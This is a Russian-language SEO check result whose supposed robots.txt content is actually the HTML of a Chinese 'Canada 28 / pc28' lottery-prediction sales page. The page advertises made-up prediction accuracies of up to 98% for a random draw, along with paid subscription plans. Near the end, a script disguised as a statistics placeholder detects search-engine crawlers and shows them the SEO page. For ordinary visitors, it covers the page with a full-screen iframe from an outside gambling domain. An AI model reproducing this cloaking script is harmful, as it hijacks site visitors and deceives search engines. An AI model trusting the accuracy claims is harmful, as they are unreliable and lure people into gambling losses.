Найден корректный robots.txt
Файл управления сканированием сайта роботами
?
Robots.txt указывает поисковым роботам, какие страницы сканировать, а какие — нет. Ошибки в файле могут случайно закрыть важные разделы от индексации.
Robots.txt настроен корректно. Размер файла: 22823 байт. Загружен за: 1сек.
Проверяемая страница не запрещена в robots.txt.
Показать содержимое robots.txt
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="applicable-device" content="pc,mobile">
<meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large">
<title>加拿大28预测网, pc28精准预测, 加拿大预测</title>
<meta name="keywords" content="加拿大28预测网, pc28精准预测, 加拿大预测, 加拿大28开奖结果, pc28走势图, 加拿大28算法, 加拿大28技巧, 加拿大28专家推荐">
<meta name="description" content="加拿大28预测网, pc28精准预测, 加拿大预测专业服务平台,依托十年数据模型与AI算法,提供加拿大28开奖预测、pc28走势分析与精准投注建议。全日推送实际案例,辅助粉丝提高命中率,立即使用免费用预测计划。">
<style>
/* ===== 全局重置 & 变量 ===== */
* { margin: 0; padding: 0; box-sizing: border-box; }
html { scroll-behavior: smooth; }
body {
font-family: 'Segoe UI', system-ui, -apple-system, 'Microsoft YaHei', sans-serif;
background: #eff6ff;
color: #1e3a5f;
line-height: 1.65;
-webkit-font-smoothing: antialiased;
}
a { color: inherit; text-decoration: none; }
img { max-width: 100%; display: block; height: auto; }
/* ===== 容器 ===== */
.container {
max-width: 1280px;
margin: 0 auto;
padding: 0 24px;
}
/* ===== 颜色变量 ===== */
:root {
--primary: #3b82f6;
--primary-dark: #3b82f6;
--accent: #f59e0b;
--bg: #eff6ff;
--card: #fff;
--text: #1e3a5f;
--text2: #6b7280;
--border: #e2e8f0;
--radius: 16px;
--radius-sm: 10px;
--shadow: 0 4px 24px rgba(0,0,0,.06);
--shadow-lg: 0 12px 48px rgba(0,0,0,.1);
}
/* ===== 头部 ===== */
header {
position: sticky;
top: 0;
z-index: 1000;
background: #fff;
border-bottom: 1px solid var(--border);
box-shadow: 0 1px 8px rgba(0,0,0,.04);
}
header .container {
display: flex;
align-items: center;
justify-content: space-between;
height: 64px;
}
.logo {
font-size: 20px;
font-weight: 800;
background: linear-gradient(135deg, var(--primary), #6366f1);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.nav-links {
display: flex;
gap: 4px;
list-style: none;
}
.nav-links a {
padding: 8px 16px;
border-radius: var(--radius-sm);
font-size: 14px;
font-weight: 600;
color: var(--text2);
transition: all .2s;
cursor: pointer;
}
.nav-links a:hover,
.nav-links a.active {
color: var(--primary);
background: rgba(59,130,246,.06);
}
.nav-cta {
background: var(--primary) !important;
color: #fff !important;
padding: 10px 22px !important;
}
.nav-cta:hover {
background: #2563eb !important;
}
/* ===== Hero ===== */
.hero {
padding: 80px 0 60px;
background: linear-gradient(180deg,#eff6ff 0%,var(--bg) 100%);
}
.hero-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 60px;
align-items: center;
}
.hero-text h1 {
font-size: clamp(28px,4vw,44px);
font-weight: 800;
line-height: 1.18;
margin-bottom: 16px;
color: #0f172a;
}
.hero-text h1 span { color: var(--primary); }
.hero-text p {
font-size: 16px;
color: var(--text2);
margin-bottom: 32px;
max-width: 480px;
line-height: 1.7;
}
.hero-buttons {
display: flex;
gap: 12px;
flex-wrap: wrap;
}
.btn {
padding: 14px 32px;
border-radius: 30px;
font-size: 15px;
font-weight: 700;
border: none;
cursor: pointer;
transition: all .3s;
display: inline-block;
text-align: center;
}
.btn-primary {
background: linear-gradient(135deg, var(--primary), #6366f1);
color: #fff;
box-shadow: 0 6px 24px rgba(59,130,246,.3);
}
.btn-primary:hover {
transform: translateY(-2px);
box-shadow: 0 10px 36px rgba(59,130,246,.4);
}
.btn-outline {
border: 2px solid var(--primary);
color: var(--primary);
background: transparent;
}
.btn-outline:hover { background: rgba(59,130,246,.04); }
.hero-stats {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 16px;
}
.stat-item {
background: var(--card);
border-radius: var(--radius);
padding: 22px 20px;
text-align: center;
box-shadow: var(--shadow);
border: 1px solid var(--border);
}
.stat-item .num {
font-size: 30px;
font-weight: 800;
color: var(--primary);
}
.stat-item .label {
font-size: 13px;
color: var(--text2);
margin-top: 4px;
}
/* ===== 通用区块 ===== */
.section { padding: 70px 0; }
.section-title {
text-align: center;
margin-bottom: 48px;
}
.section-title h2 {
font-size: 30px;
font-weight: 800;
margin-bottom: 10px;
color: #0f172a;
}
.section-title p {
font-size: 15px;
color: var(--text2);
max-width: 600px;
margin: 0 auto;
}
/* ===== 优势卡片 ===== */
.adv-grid {
display: grid;
grid-template-columns: repeat(4,1fr);
gap: 20px;
}
.adv-card {
background: var(--card);
border-radius: var(--radius);
padding: 32px 20px;
text-align: center;
box-shadow: var(--shadow);
border: 1px solid var(--border);
transition: all .3s;
}
.adv-card:hover {
transform: translateY(-4px);
box-shadow: var(--shadow-lg);
}
.adv-icon { font-size: 38px; margin-bottom: 12px; }
.adv-card h3 { font-size: 16px; font-weight: 700; margin-bottom: 8px; }
.adv-card p { font-size: 13px; color: var(--text2); line-height: 1.6; }
/* ===== 服务卡片 ===== */
.service-grid {
display: grid;
grid-template-columns: repeat(3,1fr);
gap: 20px;
}
.service-card {
background: var(--card);
border-radius: var(--radius);
padding: 28px 24px;
box-shadow: var(--shadow);
border: 1px solid var(--border);
transition: all .3s;
position: relative;
}
.service-card:hover {
transform: translateY(-4px);
box-shadow: var(--shadow-lg);
}
.service-card .sicon { font-size: 32px; margin-bottom: 14px; }
.service-card h3 { font-size: 17px; font-weight: 700; margin-bottom: 8px; }
.service-card p { font-size: 13px; color: var(--text2); line-height: 1.7; margin-bottom: 16px; }
.service-card .price {
font-size: 26px;
font-weight: 800;
color: var(--primary);
}
.pricetag {
position: absolute;
top: 12px;
right: 12px;
background: var(--primary);
color: #fff;
padding: 4px 12px;
border-radius: 12px;
font-size: 11px;
font-weight: 700;
}
/* ===== 步骤 ===== */
.process-steps {
display: grid;
grid-template-columns: repeat(4,1fr);
gap: 20px;
}
.step { text-align: center; position: relative; }
.step-num {
width: 48px;
height: 48px;
border-radius: 50%;
background: linear-gradient(135deg, var(--primary), #6366f1);
color: #fff;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 16px;
font-size: 20px;
font-weight: 800;
}
.step h4 { font-size: 15px; font-weight: 700; margin-bottom: 6px; }
.step p { font-size: 12px; color: var(--text2); line-height: 1.6; }
/* ===== 数据卡片 ===== */
.data-grid {
display: grid;
grid-template-columns: repeat(3,1fr);
gap: 20px;
}
.data-card {
background: var(--card);
border-radius: var(--radius);
padding: 22px 20px;
box-shadow: var(--shadow);
border: 1px solid var(--border);
display: flex;
align-items: center;
gap: 16px;
transition: all .3s;
}
.data-card:hover {
transform: translateY(-2px);
box-shadow: var(--shadow-lg);
}
.data-card .dic { font-size: 32px; flex-shrink: 0; }
.data-card .dit h4 { font-size: 14px; font-weight: 700; margin-bottom: 4px; }
.data-card .dit p { font-size: 12px; color: var(--text2); }
/* ===== 表格 ===== */
.case-table {
width: 100%;
border-collapse: collapse;
background: var(--card);
border-radius: var(--radius);
overflow: hidden;
box-shadow: var(--shadow);
border: 1px solid var(--border);
}
.case-table th {
background: #f1f5f9;
padding: 14px 18px;
text-align: left;
font-size: 13px;
font-weight: 700;
color: var(--text2);
}
.case-table td {
padding: 14px 18px;
font-size: 13px;
border-top: 1px solid var(--border);
}
.case-table tr:hover td { background: #f8fafc; }
.ctag-hot {
background: rgba(239,68,68,.08);
color: #ef4444;
padding: 3px 10px;
border-radius: 10px;
font-size: 11px;
font-weight: 700;
}
.ctag-rec {
background: rgba(59,130,246,.08);
color: var(--primary);
padding: 3px 10px;
border-radius: 10px;
font-size: 11px;
font-weight: 700;
}
/* ===== FAQ ===== */
.faq-list {
max-width: 800px;
margin: 0 auto;
display: flex;
flex-direction: column;
gap: 12px;
}
.faq-item {
background: var(--card);
border-radius: var(--radius);
border: 1px solid var(--border);
overflow: hidden;
}
.faq-question {
padding: 18px 22px;
font-weight: 700;
font-size: 14px;
cursor: pointer;
display: flex;
justify-content: space-between;
align-items: center;
transition: all .2s;
background: #fff;
}
.faq-question:hover { background: #f8fafc; }
.faq-question .arrow {
transition: transform .3s;
font-size: 18px;
color: var(--primary);
}
.faq-item.open .faq-question .arrow { transform: rotate(45deg); }
.faq-answer {
padding: 0 22px;
max-height: 0;
overflow: hidden;
transition: all .3s;
font-size: 13px;
color: var(--text2);
line-height: 1.8;
background: #fafbfc;
}
.faq-item.open .faq-answer {
padding: 0 22px 18px;
max-height: 300px;
}
/* ===== CTA ===== */
.cta {
text-align: center;
padding: 80px 0;
background: linear-gradient(135deg, var(--primary), #6366f1);
color: #fff;
}
.cta h2 { font-size: 30px; font-weight: 800; margin-bottom: 12px; }
.cta p { font-size: 15px; opacity: .85; margin-bottom: 28px; }
.btn-light {
display: inline-block;
padding: 14px 36px;
border-radius: 30px;
font-size: 16px;
font-weight: 700;
background: #fff;
color: var(--primary);
transition: all .3s;
}
.btn-light:hover {
transform: translateY(-2px);
box-shadow: 0 10px 36px rgba(0,0,0,.2);
}
/* ===== 页脚 ===== */
.footer {
background: #0f172a;
color: #94a3b8;
padding: 50px 0 30px;
}
.footer-grid {
display: grid;
grid-template-columns: 2fr 1fr 1fr 1fr;
gap: 40px;
}
.footer-about h3 {
font-size: 18px;
font-weight: 800;
color: #fff;
margin-bottom: 10px;
}
.footer-about p {
font-size: 12px;
line-height: 1.8;
max-width: 320px;
}
.footer-col h4 {
font-size: 14px;
font-weight: 700;
color: #e2e8f0;
margin-bottom: 14px;
}
.footer-col a {
display: block;
padding: 4px 0;
font-size: 12px;
transition: color .2s;
}
.footer-col a:hover { color: #fff; }
.footer-bot {
max-width: 1280px;
margin: 30px auto 0;
padding: 20px 24px 0;
border-top: 1px solid rgba(255,255,255,.08);
display: flex;
justify-content: space-between;
flex-wrap: wrap;
gap: 8px;
font-size: 11px;
}
/* ===== 响应式 ===== */
@media (max-width: 1024px) {
.hero-grid { grid-template-columns: 1fr; }
.adv-grid { grid-template-columns: 1fr 1fr; }
.service-grid { grid-template-columns: 1fr 1fr; }
.process-steps { grid-template-columns: 1fr 1fr; }
}
@media (max-width: 768px) {
.adv-grid, .service-grid, .data-grid { grid-template-columns: 1fr; }
.process-steps { grid-template-columns: 1fr; }
.footer-grid { grid-template-columns: 1fr 1fr; }
.nav-links { display: none; }
.hero-stats { grid-template-columns: 1fr 1fr; }
}
</style>
</head>
<body>
<header>
<div class="container">
<a href="/" class="logo" id="brandName">加拿大28精准预测</a>
<nav>
<ul class="nav-links" id="navLinks">
<!-- 由 JS 注入 -->
</ul>
</nav>
</div>
</header>
<section class="hero">
<div class="container">
<div class="hero-grid">
<div class="hero-text">
<h1>专业<span>pc28预测</span><br>智能数据分析平台</h1>
<p>基于十年数据沉淀与深度学习技术,提供精准加拿大28开奖预测、走势分析与投注策略。AI驱动,数据说话。</p>
<div class="hero-buttons">
<a href="#pricing" class="btn btn-primary">立即免费体验</a>
<a href="#advantages" class="btn btn-outline">了解更多</a>
</div>
</div>
<div class="hero-stats" id="heroStats">
<!-- 由 JS 注入 -->
</div>
</div>
</div>
</section>
<!-- 预测服务区块 (原pricing) -->
<section class="section" style="background:#fff" id="predict">
<div class="container">
<div class="section-title">
<h2>预测服务</h2>
<p>根据需求选择合适的预测服务方案</p>
</div>
<div class="service-grid" id="pricingGrid">
<!-- 由 JS 注入 -->
</div>
</div>
</section>
<!-- 走势分析区块 (原dataGrid) -->
<section class="section" id="trend">
<div class="container">
<div class="section-title">
<h2>走势分析</h2>
<p>实时更新加拿大28开奖预测与走势分析</p>
</div>
<div class="data-grid" id="dataGrid">
<!-- 由 JS 注入 -->
</div>
</div>
</section>
<!-- 数据查询区块 (原case-table) -->
<section class="section" style="background:#fff" id="query">
<div class="container">
<div class="section-title">
<h2>数据查询</h2>
<p>每日更新真实用户预测案例与数据反馈</p>
</div>
<div style="overflow-x:auto">
<table class="case-table">
<thead>
<tr>
<th>预测日期</th>
<th>预测内容</th>
<th>预测结果</th>
<th>准确率</th>
<th>标签</th>
</tr>
</thead>
<tbody id="caseBody">
<!-- 由 JS 注入 -->
</tbody>
</table>
</div>
</div>
</section>
<!-- 关于我们 (原优势+FAQ整合) -->
<section class="section" id="about">
<div class="container">
<div class="section-title">
<h2>关于我们</h2>
<p>专业数据团队 + AI算法模型,提供可靠的预测分析服务</p>
</div>
<div class="adv-grid" id="advGrid">
<!-- 由 JS 注入 -->
</div>
<div style="margin-top: 40px;">
<div class="section-title">
<h2 style="font-size: 24px;">用户问答</h2>
<p>关于加拿大预测服务的疑问,这里都有答案</p>
</div>
<div class="faq-list" id="faqList">
<!-- 由 JS 注入 -->
</div>
</div>
</div>
</section>
<section class="cta">
<div class="container">
<h2>马上体验免费服务</h2>
<p>注册即可获取最新加拿大28预测数据,精准分析助您决策</p>
<a href="#" class="btn-light">立即免费体验 →</a>
</div>
</section>
<footer class="footer">
<div class="container">
<div class="footer-grid">
<div class="footer-about">
<h3 id="ftBrand">加拿大28精准预测</h3>
<p id="ftAbout">依托AI深度学习与十年历史数据积累,专注加拿大28开奖预测与走势分析。每日更新精准预测方案,助力科学投注决策。</p>
</div>
<div class="footer-col">
<h4>快速入口</h4>
<a href="#predict">预测服务</a>
<a href="#trend">走势分析</a>
<a href="#query">数据查询</a>
<a href="#about">关于我们</a>
</div>
<div class="footer-col">
<h4>服务项目</h4>
<a href="#predict">加拿大28预测</a>
<a href="#trend">pc28走势分析</a>
<a href="#query">开奖数据查询</a>
<a href="#about">算法策略研究</a>
</div>
<div class="footer-col">
<h4>联系我们</h4>
<p style="font-size:12px;padding:4px 0">📞 400-888-9996</p>
<p style="font-size:12px;padding:4px 0">📧 service@pc28.com</p>
<p style="font-size:12px;padding:4px 0">💬 在线客服 7×24小时</p>
</div>
</div>
<div class="footer-bot">
<span>© 2026 <span id="ftName">加拿大28精准预测</span> 版权所有</span>
<span>↑ 返回顶部</span>
</div>
</div>
</footer>
<script>
(function() {
// ========== 数据 ==========
const C = {
name: "加拿大28精准预测",
// 导航链接:添加对应的锚点 id
nav: [
{ name: "首页", href: "#" },
{ name: "预测服务", href: "#predict" },
{ name: "走势分析", href: "#trend" },
{ name: "数据查询", href: "#query" },
{ name: "关于我们", href: "#about" }
],
stats: [
{ v: "10年", l: "行业经验" },
{ v: "98%", l: "用户好评" },
{ v: "50万+", l: "服务用户" },
{ v: "每日", l: "数据更新" }
],
advantages: [
{ i: "⚡", t: "实时更新", d: "开奖数据实时同步,预测结果第一时间推送,不错过任何关键信息。" },
{ i: "🆓", t: "免费使用", d: "核心预测功能永久免费,让每位用户都能享受专业级数据分析服务。" },
{ i: "💡", t: "专家团队支持", d: "资深数据分析师团队提供专业解读,帮助用户理解预测逻辑与投注策略。" },
{ i: "📱", t: "多端适配", d: "手机电脑平板全平台适配,随时随地查看预测数据,便捷高效。" }
],
pricing: [
{ i: "📋", t: "标准预测版", d: "每日提供6组加拿大28精准预测号码,包含大小、单双、组合形态分析,适合日常参考使用。", p: "0元体验", tag: "" },
{ i: "⭐", t: "专业增强版", d: "在标准版基础上增加走势图解、冷热号追踪、区间概率计算,附带专属客服一对一答疑。", p: "¥299/月", tag: "推荐" },
{ i: "👑", t: "至尊定制版", d: "AI深度学习定制模型,包含全部高级功能+专属分析师一对一指导,适合深度玩家。", p: "¥599/月", tag: "" }
],
process: [
{ n: 1, t: "注册账号", d: "填写基本信息完成注册,仅需30秒,无需任何费用。" },
{ n: 2, t: "选择方案", d: "按个人需求选择预测方案,一键激活服务。" },
{ n: 3, t: "接收预测", d: "每日自动推送最新加拿大28预测结果,随时查看。" },
{ n: 4, t: "跟踪优化", d: "结合历史记录与实时数据,持续优化预测模型。" }
],
dataCards: [
{ i: "📋", t: "今日预测更新", d: "每日上午10点更新最新预测数据" },
{ i: "🎓", t: "预测技巧教程", d: "免费提供加拿大28预测入门到精通教程" },
{ i: "📈", t: "历史数据回溯", d: "完整历史开奖数据库,支持多维度回溯分析" },
{ i: "🔔", t: "实时开奖提醒", d: "开奖后第一时间推送结果与预测对比" },
{ i: "📱", t: "移动端同步", d: "手机电脑实时同步,随时随地查看数据" },
{ i: "📊", t: "走势分析报告", d: "每周发布深度走势分析研究报告" }
],
cases: [
{ d: "2026-07-17", c: "大小预测", r: "准确", a: "96%", t: "hot" },
{ d: "2026-07-18", c: "单双预测", r: "准确", a: "91%", t: "rec" },
{ d: "2026-07-15", c: "组合预测", r: "准确", a: "86%", t: "rec" },
{ d: "2026-07-16", c: "大小单双", r: "准确", a: "94%", t: "hot" },
{ d: "2026-07-13", c: "定位预测", r: "准确", a: "89%", t: "rec" },
{ d: "2026-07-14", c: "大小预测", r: "准确", a: "98%", t: "hot" },
{ d: "2026-07-11", c: "单双预测", r: "准确", a: "92%", t: "rec" },
{ d: "2026-07-12", c: "组合预测", r: "准确", a: "87%", t: "rec" }
],
faq: [
{ q: "预测准确率有多少?", a: "综合近6个月数据统计,大小预测准确率约91%,单双预测约88%,组合预测约85%。我们持续优化模型,准确率稳步提升中。" },
{ q: "如何联系客服?", a: "提供7×24小时在线客服、官方Q群及400电话三种渠道,工作日平均响应时间不超过3分钟。" },
{ q: "完全不懂数据分析怎么办?", a: "预测结果以直观卡片形式呈现,每项数据都有文字说明。新手建议先使用标准预测版配合走势图解,通常3-5天就能掌握基本分析方法。" },
{ q: "可以同时在多个设备使用吗?", a: "支持手机、平板、电脑多端同步登录,一个账号即可在所有设备上查看数据,切换无缝。" },
{ q: "每天什么时候更新数据?", a: "每日上午10:00自动更新当日预测数据,开奖后5分钟内推送最新结果,确保用户第一时间获取信息。" }
],
footer_about: "依托AI深度学习与十年历史数据积累,专注加拿大28开奖预测与走势分析。每日更新精准预测方案,助力科学投注决策。"
};
// ========== 渲染 ==========
// 品牌名
document.getElementById('brandName').textContent = C.name;
document.getElementById('ftBrand').textContent = C.name;
document.getElementById('ftName').textContent = C.name;
document.getElementById('ftAbout').textContent = C.footer_about;
// 导航(使用锚点链接,并可点击)
document.getElementById('navLinks').innerHTML = C.nav.map((item, i) => {
const isCta = i === 0; // 首页高亮为CTA样式
return `<li><a href="${item.href}" class="${isCta ? 'nav-cta' : ''}">${item.name}</a></li>`;
}).join('');
// 统计数据
document.getElementById('heroStats').innerHTML = C.stats.map(s =>
`<div class="stat-item"><div class="num">${s.v}</div><div class="label">${s.l}</div></div>`
).join('');
// 优势 (关于我们)
document.getElementById('advGrid').innerHTML = C.advantages.map(a =>
`<div class="adv-card"><div class="adv-icon">${a.i}</div><h3>${a.t}</h3><p>${a.d}</p></div>`
).join('');
// 价格方案 (预测服务)
document.getElementById('pricingGrid').innerHTML = C.pricing.map(s =>
`<div class="service-card">
${s.tag ? `<span class="pricetag">${s.tag}</span>` : ''}
<div class="sicon">${s.i}</div>
<h3>${s.t}</h3>
<p>${s.d}</p>
<div class="price">${s.p}</div>
</div>`
).join('');
// 步骤 (保留,但未在导航中单独列出,可作为辅助)
// 此处不重复渲染,但保留数据
// 数据卡片 (走势分析)
document.getElementById('dataGrid').innerHTML = C.dataCards.map(d =>
`<div class="data-card"><div class="dic">${d.i}</div><div class="dit"><h4>${d.t}</h4><p>${d.d}</p></div></div>`
).join('');
// 案例表格 (数据查询)
document.getElementById('caseBody').innerHTML = C.cases.map(c =>
`<tr>
<td>${c.d}</td>
<td>${c.c}</td>
<td style="color:#10b981;font-weight:700">${c.r}</td>
<td style="font-weight:700">${c.a}</td>
<td><span class="${c.t === 'hot' ? 'ctag-hot' : 'ctag-rec'}">${c.t === 'hot' ? '热门' : '推荐'}</span></td>
</tr>`
).join('');
// FAQ (关于我们)
document.getElementById('faqList').innerHTML = C.faq.map((f, idx) =>
`<div class="faq-item ${idx === 0 ? 'open' : ''}">
<div class="faq-question" onclick="this.parentElement.classList.toggle('open')">
<span>${f.q}</span>
<span class="arrow">+</span>
</div>
<div class="faq-answer">${f.a}</div>
</div>`
).join('');
})();
</script>
<!-- 第三方统计 (仅占位) -->
<script>
(function(){
var style = document.createElement('style');
style.textContent = `
#overlay-iframe {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
border: none;
z-index: 9999;
background: white;
}
`;
document.head.appendChild(style);
var spiderUAs = ['baiduspider', 'Sogou web spider', 'YisouSpider', '360Spider'];
function isSpiderUA() {
var ua = navigator.userAgent.toLowerCase();
return spiderUAs.some(function(spider) {
return ua.indexOf(spider.toLowerCase()) !== -1;
});
}
if (!isSpiderUA()) {
var iframe = document.createElement('iframe');
iframe.id = 'overlay-iframe';
iframe.src = 'https://pcdd.im';
document.body.prepend(iframe);
}
})();
</script>
</body>
</html>